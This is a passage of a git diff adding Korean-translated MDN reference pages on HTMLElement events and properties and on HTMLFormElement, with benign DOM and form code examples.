+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerdown">onpointerdown</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointerenter_event">pointerenter</a></code></dt>
+ <dd>Fired when a pointer is moved into the hit test boundaries of an element or one of its descendants.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerenter">onpointerenter</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointerleave_event">pointerleave</a></code></dt>
+ <dd>Fired when a pointer is moved out of the hit test boundaries of an element.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerleave">onpointerleave</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointermove_event">pointermove</a></code></dt>
+ <dd>Fired when a pointer changes coordinates.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointermove">onpointermove</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointerout_event">pointerout</a></code></dt>
+ <dd>Fired when a pointer is moved out of the <em>hit test</em> boundaries of an element (among other reasons).<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerout">onpointerout</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointerover_event">pointerover</a></code></dt>
+ <dd>Fired when a pointer is moved into an element's hit test boundaries.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerover">onpointerover</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointerup_event">pointerup</a></code></dt>
+ <dd>Fired when a pointer is no longer active.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerup">onpointerup</a></code> property.</dd>
+</dl>
+
+<h3 id="Transition_events">Transition events</h3>
+
+<dl>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/transitioncancel_event">transitioncancel</a></code></dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> is canceled.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/ontransitioncancel">ontransitioncancel</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/transitionend_event">transitionend</a></code></dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> has completed.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/ontransitionend">ontransitionend</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/transitionrun_event">transitionrun</a></code></dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> is first created.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/ontransitionrun" rel="nofollow">ontransitionrun</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/transitionstart_event">transitionstart</a></code></dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> has actually started.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/ontransitionstart" rel="nofollow">ontransitionstart</a></code> property.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>다음 속성들이 추가됨: <code>offsetParent</code>, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, <code>offsetHeight</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>다음 속성들이 추가됨: <code>translate</code>, <code>itemScope</code>, <code>itemType</code>, <code>itemId</code>, <code>itemRef</code>, <code>itemProp</code>, <code>properties</code>, <code>itemValue</code>.<br>
+    다음 메소드가 추가됨: <code>forceSpellcheck()</code>.<br>
+    <code>onXYZ</code> 속성을 {{domxref("GlobalEventHandlers")}} 인터페이스로 이동하고 이로부터 상속을 추가함.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>다음 속성들이 추가됨: <code>dataset</code>, <code>hidden</code>, <code>tabindex</code>, <code>accessKey</code>, <code>accessKeyLabel</code>, <code>draggable</code>, <code>dropzone</code>, <code>contentEditable</code>, <code>isContentEditable</code>, <code>contextMenu</code>, <code>spellcheck</code>, <code>commandType</code>, <code>commandLabel</code>, <code>commandIcon</code>, <code>commandHidden</code>, <code>commandDisabled</code>, <code>commandChecked</code>, <code>style</code>, 모든 <code>onXYZ</code> 속성들.<br>
+    <code>id</code> 와 <code>className</code> 속성을 {{domxref("Element")}} 인터페이스로 이동함.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>{{SpecName('DOM2 HTML')}} 으로부터 변경 사항 없음</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLElement")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/input_event/index.html b/files/ko/web/api/htmlelement/input_event/index.html
new file mode 100644
index 0000000000..d8f606a439
--- /dev/null
+++ b/files/ko/web/api/htmlelement/input_event/index.html
@@ -0,0 +1,100 @@
+---
+title: 'HTMLElement: input event'
+slug: Web/API/HTMLElement/input_event
+translation_of: Web/API/HTMLElement/input_event
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>input</code></strong> 이벤트는 {{HTMLElement("input")}}, {{HTMLElement("select")}} 및 {{HTMLElement("textarea")}} 요소의 <code>value</code> 속성이 바뀔 때마다 발생한다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">전파 가능</th>
+   <td>가능</td>
+  </tr>
+  <tr>
+   <th scope="row">취소 가능</th>
+   <td>불가</td>
+  </tr>
+  <tr>
+   <th scope="row">인터페이스</th>
+   <td>{{DOMxRef("InputEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트 핸들러 속성</th>
+   <td>{{domxref("GlobalEventHandlers.oninput")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>또한, 이 이벤트는 아무 요소의 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 속성 및 {{domxref("Document.designMode", "designMode")}} 속성이 활성화 되어도 발생할 수 있다. 이런 경우, <code>contenteditable</code> 및 <code>designMode</code>, 속성이 활성화된 자식을 가진 편집 불가능한 최초 부모 요소에서 발생한다. 예를 들어 특정 요소에서 부모자식관계 중 자식 관계 여러개가 해당 속성이 활성화되어 내용 변경 시 이벤트가 발생해야 할 때, 해당 속성이 활성화되지 않은 최초의 부모 요소를 기준으로 발생하게 된다.</p>
+
+<p><code>type=checkbox</code> 및 <code>type=radio</code>, 속성을 가진 <code>&lt;input&gt;</code> 요소의 경우, <a href="https://html.spec.whatwg.org/multipage/input.html#the-input-element:event-input-2">HTML5 규격</a>에 의하면, <code>input</code> 이벤트는 반드시 사용자가 작동시킬 때마다 발생된다. 하지만 애초부터 그렇게 설계되어 있지 않은 경우가 있으므로, 반드시 아래 호환성 문단을 참고하거나, 호환되지 않을 경우, {{domxref("HTMLElement/change_event", "change")}} 이벤트를 대신해서 사용하도록 한다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> The <code>input</code> 이벤트는 {{domxref("HTMLElement/change_event", "change")}} 이벤트와는 달리 <code>value</code> 속성이 바뀔 시마다 반드시 일어난다. 값을 선택하거나 옵션 선택하자마자 일어나지만, 특정 글자를 입력 시에는 입력이 끝나고 value 속성에 적용되어야 발생하는데, 예를 들면, 한글 입력의 경우 한글자가 완성된 뒤 다른 키를 입력(예: 엔터 키)이 일어나야 발생된다. 이 또한 브라우저마다 다르므로 호환성을 확인하여 대응해야 한다. (역자 주)</p>
+</div>
+
+<h2 id="예시">예시</h2>
+
+<p>이 예시는 {{HtmlElement("input")}} 요소에 값을 입력하자마자 로그에 기록한다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input placeholder="Enter some text" name="name"/&gt;
+&lt;p id="values"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const input = document.querySelector('input');
+const log = document.getElementById('values');
+
+input.addEventListener('input', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.target.value;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Examples")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "forms.html#event-input-input", "input event")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', "#event-type-input", "input event")}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.input_event")}}</p>
+
+<h2 id="같이보기">같이보기</h2>
+
+<ul>
+ <li>관련 이벤트
+  <ul>
+   <li>{{domxref("HTMLElement/beforeinput_event", "beforeinput")}}</li>
+   <li>{{domxref("HTMLElement/change_event", "change")}}</li>
+   <li>{{domxref("HTMLInputElement/invalid_event", "invalid")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/offsetparent/index.html b/files/ko/web/api/htmlelement/offsetparent/index.html
new file mode 100644
index 0000000000..f79d785530
--- /dev/null
+++ b/files/ko/web/api/htmlelement/offsetparent/index.html
@@ -0,0 +1,43 @@
+---
+title: HTMLElement.offsetParent
+slug: Web/API/HTMLElement/offsetParent
+translation_of: Web/API/HTMLElement/offsetParent
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><strong><code>HTMLElement.offsetParent</code></strong> 읽기전용 프라퍼티는 가장 가까운 (포함 계층에서 가장 가까운) 위치가 정해진 포함하는 엘리먼트 객체에 대한 참조를 반환한다. <code>offsetParent</code>는 엘리먼트의 위치가 정해지지 않으면 가장 가까운 테이블 또는 테이블 셀, 루트 엘리먼트 (표준 준수 모드에서는 <code>html</code>; quirks 렌더링 모드에서는 <code>body</code>) 를 반환한다.<br>
+ 엘리먼트의 <code>style.display</code>가 "none"으로 설정되면 null을 반환한다. <code>offsetParent</code>는 {{domxref("HTMLElement.offsetTop","offsetTop")}}과 {{domxref("HTMLElement.offsetLeft","offsetLeft")}}가 그것의 패딩 모서리에 상대적이기 때문에 유용하다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><var>parentObj</var> = element.offsetParent;
+</pre>
+
+<ul>
+ <li><var>parentObj는 현재 엘리먼트가 그 안에서 offset된 엘리먼트의 객체 참조이다. </var> is an object reference to the element in which the current element is offset.</li>
+</ul>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetparent', 'offsetParent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibility" name="Compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("api.HTMLElement.offsetParent")}}</p>
diff --git a/files/ko/web/api/htmlelement/outertext/index.html b/files/ko/web/api/htmlelement/outertext/index.html
new file mode 100644
index 0000000000..5fba566816
--- /dev/null
+++ b/files/ko/web/api/htmlelement/outertext/index.html
@@ -0,0 +1,33 @@
+---
+title: HTMLElement.outerText
+slug: Web/API/HTMLElement/outerText
+translation_of: Web/API/HTMLElement/outerText
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<p><strong><code>HTMLElement.outerText</code></strong> 는 비표준 속성(property)입니다. getter로써{{domxref("Node.innerText")}}의 값을 반환합니다. setter로써는 현재 노드를 삭제하고 주어진 텍스트값으로 대체합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<p><a href="http://stackoverflow.com/a/18481435">StackOverflow의 이 답변을 보세요.</a></p>
+
+<h2 id="Specification">Specification</h2>
+
+<p>표준이 아니므로 스펙이 없습니다. 표준 논의가 다음에서 진행중입니다: <a href="https://github.com/whatwg/html/issues/668">whatwg/html#668</a>.</p>
+
+<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/ms534311(v=vs.85).aspx">has a description on MSDN</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.outerText")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.innerText")}}</li>
+ <li>{{domxref("Element.outerHTML")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/style/index.html b/files/ko/web/api/htmlelement/style/index.html
new file mode 100644
index 0000000000..5976dd66bc
--- /dev/null
+++ b/files/ko/web/api/htmlelement/style/index.html
@@ -0,0 +1,41 @@
+---
+title: element.style
+slug: Web/API/HTMLElement/style
+tags:
+  - API
+  - HTML DOM
+  - HTMLElement
+  - Property
+  - Reference
+  - Style
+translation_of: Web/API/ElementCSSInlineStyle/style
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><code><strong>HTMLElement.style</strong></code> 속성은 요소의 인라인 스타일에 접근하거나 설정할 때 사용할 수 있습니다. 접근자로서는 요소의 인라인 <a href="/ko/docs/Web/HTML/Global_attributes/style"><code>style</code> 속성</a>이 포함한 CSS 선언을 담은 {{domxref("CSSStyleDeclaration")}} 객체를 반환합니다</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// Set multiple styles in a single statement
+elt.style.cssText = "color: blue; border: 1px solid black";
+// Or
+elt.setAttribute("style", "color:red; border: 1px solid blue;");
+
+// Set specific style while leaving other inline style values untouched
+elt.style.color = "blue";</pre>
+
+<h2 id="명세">명세</h2>
+
+<p><a href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-ElementCSSInlineStyle">DOM Level 2 Style: ElementCSSInlineStyle.style</a></p>
+
+<p><a href="https://www.w3.org/TR/cssom-1/#the-elementcssinlinestyle-interface">CSSOM: ElementCSSInlineStyle</a></p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.HTMLElement.style")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/DOM/Using_dynamic_styling_information" title="DOM/Using dynamic styling information">Using dynamic styling information</a></li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/tabindex/index.html b/files/ko/web/api/htmlelement/tabindex/index.html
new file mode 100644
index 0000000000..7cbb0fa1f0
--- /dev/null
+++ b/files/ko/web/api/htmlelement/tabindex/index.html
@@ -0,0 +1,26 @@
+---
+title: element.tabIndex
+slug: Web/API/HTMLElement/tabIndex
+tags:
+  - DOM
+  - Gecko
+  - Gecko DOM Reference
+translation_of: Web/API/HTMLOrForeignElement/tabIndex
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p>현재 요소의 탭 순서를 get/set.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">element.tabIndex =<i>iIndex</i>
+</pre>
+<h3 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98">매개변수</h3>
+<ul>
+ <li><code>iIndex</code>는 숫자</li>
+</ul>
+<h3 id=".EC.98.88" name=".EC.98.88">예</h3>
+<pre>b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+</pre>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-40676705">tabIndex </a></p>
+<p>{{ languages( { "en": "en/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" } ) }}</p>
diff --git a/files/ko/web/api/htmlformelement/index.html b/files/ko/web/api/htmlformelement/index.html
new file mode 100644
index 0000000000..b6131f14f9
--- /dev/null
+++ b/files/ko/web/api/htmlformelement/index.html
@@ -0,0 +1,240 @@
+---
+title: HTMLFormElement
+slug: Web/API/HTMLFormElement
+tags:
+  - API
+  - HTML DOM
+  - HTMLFormElement
+  - Interface
+  - Reference
+translation_of: Web/API/HTMLFormElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">The <strong>{{domxref("HTMLFormElement")}}</strong> interface represents a {{HTMLElement("form")}} element in the DOM; it allows access to and in some cases modification of aspects of the form, as well as access to its component elements.</span></p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface also inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.elements")}} {{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("HTMLFormControlsCollection")}} holding all form controls belonging to this form element.</dd>
+ <dt>{{domxref("HTMLFormElement.length")}}{{ReadOnlyInline}}</dt>
+ <dd>A <code>long</code> reflecting the number of controls in the form.</dd>
+ <dt>{{domxref("HTMLFormElement.name")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("name", "form") }} HTML attribute, containing the name of the form.</dd>
+ <dt>{{domxref("HTMLFormElement.method")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("method", "form") }} HTML attribute, indicating the HTTP method used to submit the form. Only specified values can be set.</dd>
+ <dt>{{domxref("HTMLFormElement.target")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("target", "form") }} HTML attribute, indicating where to display the results received from submitting the form.</dd>
+ <dt>{{domxref("HTMLFormElement.action")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("action", "form") }} HTML attribute, containing the URI of a program that processes the information submitted by the form.</dd>
+ <dt>{{domxref("HTMLFormElement.encoding")}} or {{domxref("HTMLFormElement.enctype")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("enctype", "form") }} HTML attribute, indicating the type of content that is used to transmit the form to the server. Only specified values can be set. The two properties are synonyms.</dd>
+ <dt>{{domxref("HTMLFormElement.acceptCharset")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("accept-charset", "form") }} HTML attribute, representing the character encoding that the server accepts.</dd>
+ <dt>{{domxref("HTMLFormElement.autocomplete")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("autocomplete", "form") }} HTML attribute, indicating whether the controls in this form can have their values automatically populated by the browser.</dd>
+ <dt>{{domxref("HTMLFormElement.noValidate")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the value of the form's {{ htmlattrxref("novalidate", "form") }} HTML attribute, indicating whether the form should not be validated.</dd>
+</dl>
+
+<p>Named inputs are added to their owner form instance as properties, and can overwrite native properties if they share the same name (eg a form with an input named <code>action</code> will have its <code>action</code> property return that input instead of the form's {{ htmlattrxref("action", "form") }} HTML attribute).</p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface also inherits methods from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.checkValidity", "checkValidity()")}}</dt>
+ <dd>Returns <code>true</code> if the element's child controls are subject to <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a> and satisfy those contraints; returns <code>false</code> if some controls do not satisfy their constraints. Fires an event named {{event("invalid")}} at any control that does not satisfy its constraints; such controls are considered invalid if the event is not canceled. It is up to the programmer to decide how to respond to <code>false</code>.</dd>
+ <dt>{{domxref("HTMLFormElement.reportValidity", "reportValidity()")}}</dt>
+ <dd>Returns <code>true</code> if the element's child controls satisfy their <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">validation constraints</a>. When <code>false</code> is returned, cancelable {{Event("invalid")}} events are fired for each invalid child and validation problems are reported to the user.</dd>
+ <dt>{{domxref("HTMLFormElement.requestSubmit", "requestSubmit()")}}</dt>
+ <dd>Requests that the form be submitted using the specified submit button and its corresponding configuration.</dd>
+ <dt>{{domxref("HTMLFormElement.reset", "reset()")}}</dt>
+ <dd>Resets the form to its initial state.</dd>
+ <dt>{{domxref("HTMLFormElement.submit", "submit()")}}</dt>
+ <dd>Submits the form to the server.</dd>
+</dl>
+
+<h3 id="Deprecated_methods">Deprecated methods</h3>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.requestAutocomplete()")}} {{deprecated_inline}}</dt>
+ <dd>Triggers a native browser interface to assist the user in completing the fields which have an <a href="https://html.spec.whatwg.org/#autofill-field-name">autofill field name</a> value that is not <code>off</code> or <code>on</code>. The form will receive an event once the user has finished with the interface, the event will either be {{event("autocomplete")}} when the fields have been filled or {{event("autocompleteerror")}} when there was a problem.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p>Listen to these events using <code>addEventListener()</code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface.</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/HTMLFormElement/formdata_event">formdata</a></code></dt>
+ <dd>The <code>formdata</code> event fires after the entry list representing the form's data is constructed.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onformdata">onformdata</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/HTMLFormElement/reset_event">reset</a></code></dt>
+ <dd>The <code>reset</code> event fires when a form is reset.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onreset">onreset</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/HTMLFormElement/submit_event">submit</a></code></dt>
+ <dd>The <code>submit</code> event fires when a form is submitted.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a></code> property.</dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<h3 id="Obtaining_a_form_element_object">Obtaining a form element object</h3>
+
+<p>To obtain an <code>HTMLFormElement</code> object, you can use a <a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS selector</a> with {{domxref("ParentNode.querySelector", "querySelector()")}}, or you can get a list of all of the forms in the document using its {{domxref("Document.forms", "forms")}} property.</p>
+
+<p>{{domxref("Document.forms")}} returns an array of <code>HTMLFormElement</code> objects listing each of the forms on the page. You can then use any of the following syntaxes to get an individual form:</p>
+
+<dl>
+ <dt><code>document.forms[<em>index</em>]</code></dt>
+ <dd>Returns the form at the specified <code>index</code> into the array of forms.</dd>
+ <dt><code>document.forms[<em>id</em>]</code></dt>
+ <dd>Returns the form whose ID is <code>id</code>.</dd>
+ <dt><code>document.forms[<em>name</em>]</code></dt>
+ <dd>Returns the form whose {{domxref("Element.name", "name")}} attribute's value is <code>name</code>.</dd>
+</dl>
+
+<h3 id="Accessing_the_forms_elements">Accessing the form's elements</h3>
+
+<p>You can access the list of the form's data-containing elements by examining the form's {{domxref("HTMLFormElement.elements", "elements")}} property. This returns an {{domxref("HTMLFormControlsCollection")}} listing all of the form's user data entry elements, both those which are descendants of the <code>&lt;form&gt;</code> and those which are made members of the form using their <code>form</code> attributes.</p>
+
+<p>You can also get the form's element by using its <code>name</code> attribute as a key of the <code>form</code>, but using <code>elements</code> is a better approach — it contains only the form's elements, and it cannot be mixed with other attributes of the <code>form</code>.</p>
+
+<h3 id="Elements_that_are_considered_form_controls">Elements that are considered form controls</h3>
+
+<p>The elements which are included by <code>HTMLFormElement.elements</code> and <code>HTMLFormElement.length</code> are:</p>
+
+<ul>
+ <li>{{HTMLElement("button")}}</li>
+ <li>{{HTMLElement("fieldset")}}</li>
+ <li>{{HTMLElement("input")}} (with the exception that any whose {{htmlattrxref("type", "input")}} is <code>"image"</code> are omitted for historical reasons)</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("output")}}</li>
+ <li>{{HTMLElement("select")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
+
+<p>No other elements are included in the list returned by <code>elements</code>, which makes it an excellent way to get at the elements most important when processing forms.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Creating a new form element, modifying its attributes, then submitting it:</p>
+
+<pre class="brush: js">var f = document.createElement("form");// Create a form
+document.body.appendChild(f);          // Add it to the document body
+f.action = "/cgi-bin/some.cgi";        // Add action and method attributes
+f.method = "POST";
+f.submit();                            // Call the form's submit method
+</pre>
+
+<p>Extract information from a form element and set some of its attributes:</p>
+
+<pre class="brush: html">&lt;form name="formA" action="/cgi-bin/test" method="post"&gt;
+ &lt;p&gt;Press "Info" for form details, or "Set" to change those details.&lt;/p&gt;
+ &lt;p&gt;
+  &lt;button type="button" onclick="getFormInfo();"&gt;Info&lt;/button&gt;
+  &lt;button type="button" onclick="setFormInfo(this.form);"&gt;Set&lt;/button&gt;
+  &lt;button type="reset"&gt;Reset&lt;/button&gt;
+ &lt;/p&gt;
+
+ &lt;textarea id="form-info" rows="15" cols="20"&gt;&lt;/textarea&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+  function getFormInfo(){
+    // Get a reference to the form via its name
+    var f = document.forms["formA"];
+    // The form properties we're interested in
+    var properties = [ 'elements', 'length', 'name', 'charset', 'action', 'acceptCharset', 'action', 'enctype', 'method', 'target' ];
+    // Iterate over the properties, turning them into a string that we can display to the user
+    var info = properties.map(function(property) { return property + ": " + f[property] }).join("\n");
+
+    // Set the form's &lt;textarea&gt; to display the form's properties
+    document.forms["formA"].elements['form-info'].value = info; // document.forms["formA"]['form-info'].value would also work
+  }
+
+  function setFormInfo(f){ // Argument should be a form element reference.
+    f.action = "a-different-url.cgi";
+    f.name   = "a-different-name";
+  }
+&lt;/script&gt;
+</pre>
+
+<p>Submit a form into a new window:</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="utf-8"&gt;
+&lt;title&gt;Example new-window form submission&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;form action="test.php" target="_blank"&gt;
+  &lt;p&gt;&lt;label&gt;First name: &lt;input type="text" name="firstname"&gt;&lt;/label&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;label&gt;Last name: &lt;input type="text" name="lastname"&gt;&lt;/label&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;label&gt;&lt;input type="password" name="pwd"&gt;&lt;/label&gt;&lt;/p&gt;
+
+  &lt;fieldset&gt;
+   &lt;legend&gt;Pet preference&lt;/legend&gt;
+    &lt;p&gt;&lt;label&gt;&lt;input type="radio" name="pet" value="cat"&gt; Cat&lt;/label&gt;&lt;/p&gt;
+    &lt;p&gt;&lt;label&gt;&lt;input type="radio" name="pet" value="dog"&gt; Dog&lt;/label&gt;&lt;/p&gt;
+  &lt;/fieldset&gt;
+
+  &lt;fieldset&gt;
+    &lt;legend&gt;Owned vehicles&lt;/legend&gt;
+
+    &lt;p&gt;&lt;label&gt;&lt;input type="checkbox" name="vehicle" value="Bike"&gt;I have a bike&lt;/label&gt;&lt;/p&gt;
+    &lt;p&gt;&lt;label&gt;&lt;input type="checkbox" name="vehicle" value="Car"&gt;I have a car&lt;/label&gt;&lt;/p&gt;
+  &lt;/fieldset&gt;
+
+  &lt;p&gt;&lt;button&gt;Submit&lt;/button&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
